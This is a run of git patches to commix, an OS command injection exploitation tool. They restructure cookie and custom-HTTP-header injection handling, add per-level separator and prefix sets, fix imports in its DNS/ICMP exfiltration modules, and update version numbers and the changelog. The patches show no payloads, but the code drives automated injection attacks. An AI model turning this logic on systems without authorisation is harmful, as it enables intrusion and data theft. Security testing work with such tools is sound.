- print(settings.print_warning_msg(warn_msg))
+ if menu.options.cookie:
+ cookie_injection(url, http_request_method, filename, timesec)
else:
- # Custom header Injection
- if settings.CUSTOM_HEADER_INJECTION == True:
- check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
- settings.HTTP_HEADER = header_name[1:].lower()
- check_for_stored_sessions(url, http_request_method)
- injection_proccess(url, check_parameter, http_request_method, filename, timesec)
- settings.CUSTOM_HEADER_INJECTION = None
+ warn_msg = "The HTTP Cookie header is not provided, "
+ warn_msg += "so this test is going to be skipped."
+ print(settings.print_warning_msg(warn_msg))
+
+ if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL:
+ if settings.INJECTED_HTTP_HEADER == False :
+ check_parameter = ""
+ # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2).
+ stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec)
+
+ # Custom header Injection
+ if settings.CUSTOM_HEADER_INJECTION == True:
+ check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
+ settings.HTTP_HEADER = header_name[1:].lower()
+ check_for_stored_sessions(url, http_request_method)
+ injection_proccess(url, check_parameter, http_request_method, filename, timesec)
+ settings.CUSTOM_HEADER_INJECTION = None
if settings.INJECTION_CHECKER == False:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7577fa220f..068349303d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "63"
+REVISION = "64"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 419ce8f8e0e071a1414e7568062e9122f325b0ac Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 11 Feb 2022 08:46:01 +0200
Subject: [PATCH 071/560] Minor update
---
src/core/injections/controller/controller.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index db91e3a17f..1d08ba1ac0 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -356,7 +356,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
warn_msg += " " + str(http_request_method) + ""
warn_msg += str(the_type) + str(header_name) + str(check_parameter)
warn_msg += " seems to be not injectable."
- print(settings.print_warning_msg(warn_msg))
+ print(settings.print_bold_warning_msg(warn_msg))
"""
Inject HTTP headers (User-agent / Referer / Host) (if level > 2).
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 068349303d..c20ab4b721 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "64"
+REVISION = "65"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 7cba206d6003715ab7273f446c8fc13494421646 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 20 Feb 2022 11:18:09 +0200
Subject: [PATCH 072/560] Minor fix
---
src/core/injections/controller/checks.py | 45 ++++++++++++------------
src/utils/settings.py | 4 +--
2 files changed, 25 insertions(+), 24 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index f9ceacaeb0..618c1e90a6 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -55,31 +55,32 @@
def not_declared_cookies(response):
try:
candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1)
- if candidate:
+ if candidate and settings.DECLARED_COOKIES is not False:
settings.DECLARED_COOKIES = True
if settings.CRAWLED_SKIPPED_URLS != 0:
print(settings.SINGLE_WHITESPACE)
- while True:
- if not menu.options.batch:
- question_msg = "You have not declared cookie(s), while "
- question_msg += "server wants to set its own ('" + str(candidate) + "'). "
- question_msg += "Do you want to use those [Y/n] > "
- set_cookies = _input(settings.print_question_msg(question_msg)).lower()
- else:
- set_cookies = ""
- if len(set_cookies) == 0:
- set_cookies = "Y"
- if set_cookies in settings.CHOICE_YES:
- menu.options.cookie = candidate
- break
- elif set_cookies in settings.CHOICE_NO:
- break
- elif set_cookies in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + set_cookies + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
+ while True:
+ if not menu.options.batch:
+ question_msg = "You have not declared cookie(s), while "
+ question_msg += "server wants to set its own ('" + str(candidate) + "'). "
+ question_msg += "Do you want to use those [Y/n] > "
+ set_cookies = _input(settings.print_question_msg(question_msg)).lower()
+ else:
+ set_cookies = ""
+ if len(set_cookies) == 0:
+ set_cookies = "Y"
+ if set_cookies in settings.CHOICE_YES:
+ menu.options.cookie = candidate
+ break
+ elif set_cookies in settings.CHOICE_NO:
+ settings.DECLARED_COOKIES = False
+ break
+ elif set_cookies in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + set_cookies + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
except (KeyError, TypeError):
pass
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c20ab4b721..a0da4858e9 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "65"
+REVISION = "66"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1054,7 +1054,7 @@ def sys_argv_errors():
# Force usage of given HTTP method (e.g. PUT).
HTTP_METHOD = ""
-DECLARED_COOKIES = False
+DECLARED_COOKIES = ""
CRAWLED_SKIPPED_URLS = 0
From b28fe7598bca3a108c359aed7741db1db6e627b1 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 24 Feb 2022 19:24:55 +0200
Subject: [PATCH 073/560] Update CHANGELOG.md
---
doc/CHANGELOG.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 6cd1a56d48..5a1aaab4c5 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Fixed: Minor bug-fix regarding parsing JSON objects.
From 7a13e49e65926b47d87f983585009a777bfd337a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 25 Feb 2022 09:21:44 +0200
Subject: [PATCH 074/560] Updated to v3.4
---
doc/CHANGELOG.md | 2 +-
setup.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 5a1aaab4c5..9cd2a7d8aa 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,4 @@
-## Version 3.4 (TBA)
+## Version 3.4 (2022-01-25)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
diff --git a/setup.py b/setup.py
index a13aa90fcb..049b89c5d6 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.3',
+ version='3.4',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a0da4858e9..7f0c2a2817 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -226,7 +226,7 @@ def sys_argv_errors():
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
REVISION = "66"
-STABLE_RELEASE = False
+STABLE_RELEASE = True
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
else:
From 7d632778c3aa42716098b6f9dd3e44f65d359f49 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 25 Feb 2022 09:24:42 +0200
Subject: [PATCH 075/560] Update CHANGELOG.md
---
doc/CHANGELOG.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 9cd2a7d8aa..33dcd229ad 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,4 @@
-## Version 3.4 (2022-01-25)
+## Version 3.4 (2022-02-25)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
From 8ede51991467076202644e21c9a28ac5b0530327 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 7 Mar 2022 10:56:04 +0200
Subject: [PATCH 076/560] Minor patch for injecting into custom HTTP Header
---
setup.py | 2 +-
src/core/requests/headers.py | 1 +
src/core/requests/requests.py | 2 +-
src/utils/settings.py | 7 ++++---
4 files changed, 7 insertions(+), 5 deletions(-)
diff --git a/setup.py b/setup.py
index 049b89c5d6..d328f17c46 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.4',
+ version='3.5-dev',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index b4aff61a45..495573cbcd 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -424,6 +424,7 @@ def do_check(request):
settings.INJECT_TAG in http_header_value:
settings.CUSTOM_HEADER_INJECTION = True
settings.CUSTOM_HEADER_NAME = http_header_name
+ settings.CUSTOM_HEADER_VALUE = http_header_value
# Add HTTP Header name / value to the HTTP request
if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]:
request.add_header(http_header_name, http_header_value)
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index f0063bdb21..66dbad4bf8 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -895,7 +895,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
- request.add_header(settings.CUSTOM_HEADER_NAME, payload)
+ request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload))
try:
headers.check_http_traffic(request)
response = opener.open(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7f0c2a2817..384cdbef6e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -224,9 +224,9 @@ def sys_argv_errors():
DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool"
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
-VERSION_NUM = "3.4"
-REVISION = "66"
-STABLE_RELEASE = True
+VERSION_NUM = "3.5"
+REVISION = "1"
+STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
else:
@@ -580,6 +580,7 @@ def sys_argv_errors():
# Custom HTTP Headers injection
CUSTOM_HEADER_INJECTION = False
CUSTOM_HEADER_NAME = ""
+CUSTOM_HEADER_VALUE = ""
# Valid URL format check
VALID_URL_FORMAT = "https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?"
From d84f7ec4e917814b76e9135533516a652e121e93 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 8 Mar 2022 07:28:02 +0200
Subject: [PATCH 077/560] Minor patch (1) for
https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327
---
src/core/injections/controller/controller.py | 16 +++++++++-------
src/utils/settings.py | 2 +-
2 files changed, 10 insertions(+), 8 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 1d08ba1ac0..052bf6ed6e 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -274,6 +274,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if check_parameter.startswith(" "):
header_name = ""
the_type = " HTTP header"
+ if settings.CUSTOM_HEADER_INJECTION:
+ check_parameter = " '" + check_parameter.strip() + "'"
else:
if settings.COOKIE_INJECTION:
header_name = " cookie"
@@ -627,12 +629,6 @@ def basic_level_checks():
settings.IDENTIFIED_WARNINGS = False
settings.IDENTIFIED_PHPINFO = False
- # Check if defined POST data
- if not settings.USER_DEFINED_POST_DATA:
- get_request(url, http_request_method, filename, timesec)
- else:
- post_request(url, http_request_method, filename, timesec)
-
timesec = settings.TIMESEC
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
@@ -684,7 +680,13 @@ def basic_level_checks():
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
settings.CUSTOM_HEADER_INJECTION = None
-
+
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
+ get_request(url, http_request_method, filename, timesec)
+ else:
+ post_request(url, http_request_method, filename, timesec)
+
if settings.INJECTION_CHECKER == False:
return False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 384cdbef6e..349079d59f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "1"
+REVISION = "2"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From ba26dbeb75bcc453a8e1c00b852526a6a38cf138 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 9 Mar 2022 07:40:14 +0200
Subject: [PATCH 078/560] Minor patch (2) for
https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327
---
src/core/injections/controller/controller.py | 7 ++++---
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 4 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 052bf6ed6e..d9136f74f1 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -250,8 +250,10 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m
Proceed to the injection process for the appropriate parameter.
"""
def injection_proccess(url, check_parameter, http_request_method, filename, timesec):
+ # Skipping basic heuristic detection procedure (regarding specific HTTP headers).
inject_http_headers = False
- if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS):
+ if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \
+ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME):
inject_http_headers = True
if menu.options.ignore_code:
@@ -274,8 +276,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if check_parameter.startswith(" "):
header_name = ""
the_type = " HTTP header"
- if settings.CUSTOM_HEADER_INJECTION:
- check_parameter = " '" + check_parameter.strip() + "'"
+ check_parameter = " '" + check_parameter.strip() + "'"
else:
if settings.COOKIE_INJECTION:
header_name = " cookie"
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 349079d59f..89f836790f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "2"
+REVISION = "3"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 1232bf63dc9c52aa31fe0ded5e0dc06a1407f77e Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 10 Mar 2022 08:54:19 +0200
Subject: [PATCH 079/560] Minor patch (3) for
https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327
---
doc/CHANGELOG.md | 3 +++
src/core/injections/controller/controller.py | 2 +-
src/core/requests/headers.py | 2 +-
src/core/requests/requests.py | 7 +++++--
src/utils/settings.py | 2 +-
5 files changed, 11 insertions(+), 5 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 33dcd229ad..8d84e79456 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,3 +1,6 @@
+## Version 3.5 (TBA)
+* Revised: Improvement regarding injecting into custom HTTP Header(s).
+
## Version 3.4 (2022-02-25)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index d9136f74f1..afd2c47327 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -676,7 +676,7 @@ def basic_level_checks():
# Custom header Injection
if settings.CUSTOM_HEADER_INJECTION == True:
- check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
+ check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 495573cbcd..8875ce7923 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -421,7 +421,7 @@ def do_check(request):
http_header_value = ''.join(http_header_value).strip().replace(": ",":")
# Check if it is a custom header injection.
if settings.CUSTOM_HEADER_INJECTION == False and \
- settings.INJECT_TAG in http_header_value:
+ (settings.INJECT_TAG in http_header_value or http_header_name in settings.TEST_PARAMETER):
settings.CUSTOM_HEADER_INJECTION = True
settings.CUSTOM_HEADER_NAME = http_header_name
settings.CUSTOM_HEADER_VALUE = http_header_value
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 66dbad4bf8..7dba87375e 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -894,8 +894,11 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
request = _urllib.request.Request(url)
#Check if defined extra headers.
headers.do_check(request)
- payload = checks.newline_fixation(payload)
- request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload))
+ payload = checks.newline_fixation(payload)
+ if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE:
+ request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload))
+ else:
+ request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload)
try:
headers.check_http_traffic(request)
response = opener.open(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 89f836790f..f2c2aaad8f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "3"
+REVISION = "4"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From c408dd132eec4de0bdf597960cd58dd2c497ae50 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 12 Mar 2022 17:26:13 +0200
Subject: [PATCH 080/560] Fixes
https://github.com/commixproject/commix/issues/744
---
src/core/modules/dns_exfiltration/dns_exfiltration.py | 6 +++---
src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 4 ++--
2 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index 998513b834..d1266781e9 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -22,7 +22,7 @@
import threading
from src.utils import menu
from src.utils import logs
-from src.utils import common
+from src.utils import common as _common
from src.utils import settings
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
@@ -182,9 +182,9 @@ def dns_exfiltration_handler(url, http_request_method):
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# You need to have administrative privileges to run this module.
- if not common.running_as_admin():
+ if not _common.running_as_admin():
err_msg = "You need to have administrative privileges to run this module."
- print("\n" + settings.print_critical_msg(err_msg))
+ print(settings.print_critical_msg(err_msg))
os._exit(0)
# Check if defined POST data
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 5bf2ddbfda..0f7c26a942 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -24,7 +24,7 @@
import threading
from src.utils import menu
from src.utils import logs
-from src.utils import common
+from src.utils import common as _common
from src.utils import settings
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
@@ -210,7 +210,7 @@ def icmp_exfiltration_handler(url, http_request_method):
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# You need to have administrative privileges to run this module.
- if not common.running_as_admin():
+ if not _common.running_as_admin():
err_msg = "You need to have administrative privileges to run this module."
print(settings.print_critical_msg(err_msg) + "\n")
os._exit(0)
From 3f884684c5b068284dfcede4b0df8baab813a9c5 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 14 Mar 2022 09:04:40 +0200
Subject: [PATCH 081/560] Minor update
---
src/core/injections/controller/controller.py | 4 ++--
src/core/requests/parameters.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index afd2c47327..9a042abcfe 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -754,8 +754,8 @@ def do_check(url, http_request_method, filename):
else:
err_msg += " Try to remove the option '--alter-shell'"
if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL :
- err_msg += " and/or increase '--level' values to perform"
- err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)"
+ err_msg += " and/or increase '--level' value to perform"
+ err_msg += " more tests "
if menu.options.skip_empty:
err_msg += " and/or remove the option '--skip-empty'"
err_msg += "."
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 89402a77fc..7c69c91310 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -49,7 +49,7 @@ def do_GET_check(url, http_request_method):
else:
err_msg = "No parameter(s) found for testing on the provided target URL. "
err_msg += "You must specify the testable parameter(s) and/or "
- err_msg += "try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)."
+ err_msg += "try to increase '--level' value to perform more tests."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif menu.options.shellshock:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f2c2aaad8f..a83b5e94a7 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "4"
+REVISION = "5"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From c8a32d81e37bc55369f5e23af4db26d169e1dd52 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 15 Mar 2022 07:46:29 +0200
Subject: [PATCH 082/560] Minor fixes
---
src/core/injections/controller/controller.py | 33 ++++++++++----------
src/utils/settings.py | 2 +-
2 files changed, 18 insertions(+), 17 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 9a042abcfe..b25e5e5460 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -659,6 +659,20 @@ def basic_level_checks():
if settings.PERFORM_BASIC_SCANS:
basic_level_checks()
+ # Custom header Injection
+ if settings.CUSTOM_HEADER_INJECTION == True:
+ check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
+ settings.HTTP_HEADER = header_name[1:].lower()
+ check_for_stored_sessions(url, http_request_method)
+ injection_proccess(url, check_parameter, http_request_method, filename, timesec)
+ settings.CUSTOM_HEADER_INJECTION = None
+
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
+ get_request(url, http_request_method, filename, timesec)
+ else:
+ post_request(url, http_request_method, filename, timesec)
+
if menu.options.level >= settings.COOKIE_INJECTION_LEVEL:
# Enable Cookie Injection
if menu.options.cookie:
@@ -673,21 +687,8 @@ def basic_level_checks():
check_parameter = ""
# Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2).
stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec)
-
- # Custom header Injection
- if settings.CUSTOM_HEADER_INJECTION == True:
- check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
- settings.HTTP_HEADER = header_name[1:].lower()
- check_for_stored_sessions(url, http_request_method)
- injection_proccess(url, check_parameter, http_request_method, filename, timesec)
- settings.CUSTOM_HEADER_INJECTION = None
-
- # Check if defined POST data
- if not settings.USER_DEFINED_POST_DATA:
- get_request(url, http_request_method, filename, timesec)
- else:
- post_request(url, http_request_method, filename, timesec)
-
+ else:
+ http_headers_injection(url, http_request_method, filename, timesec)
if settings.INJECTION_CHECKER == False:
return False
@@ -755,7 +756,7 @@ def do_check(url, http_request_method, filename):
err_msg += " Try to remove the option '--alter-shell'"
if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL :
err_msg += " and/or increase '--level' value to perform"
- err_msg += " more tests "
+ err_msg += " more tests"
if menu.options.skip_empty:
err_msg += " and/or remove the option '--skip-empty'"
err_msg += "."
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a83b5e94a7..470b7495e9 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "5"
+REVISION = "6"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 69f2294b1ccd33c3b0fb6dc2ea8aef12388df920 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 16 Mar 2022 07:23:37 +0200
Subject: [PATCH 083/560] =?UTF-8?q?=CE=99mprovement=20regarding=20`--level?=
=?UTF-8?q?`=20option,=20which=20not=20only=20adds=20more=20injection=20po?=
=?UTF-8?q?ints=20(i.e=20Cookies,=20HTTP=20headers)=20but=20also=20perform?=
=?UTF-8?q?s=20more=20tests=20for=20each=20injection=20point?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 20 +++++++++++++++++++-
src/utils/settings.py | 36 +++++++++++++++++++++++++-----------
3 files changed, 45 insertions(+), 12 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 8d84e79456..8bfe2c0623 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point.
* Revised: Improvement regarding injecting into custom HTTP Header(s).
## Version 3.4 (2022-02-25)
diff --git a/src/core/main.py b/src/core/main.py
index 29eaed0932..e418684cff 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -830,7 +830,25 @@ def main(filename, url):
settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
# Define the level of tests to perform.
- if menu.options.level > 3:
+ if menu.options.level == 1:
+ settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index)
+ settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index)
+ settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index)
+ settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index)
+ settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index)
+ elif menu.options.level == 2:
+ settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index)
+ settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index)
+ settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index)
+ settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index)
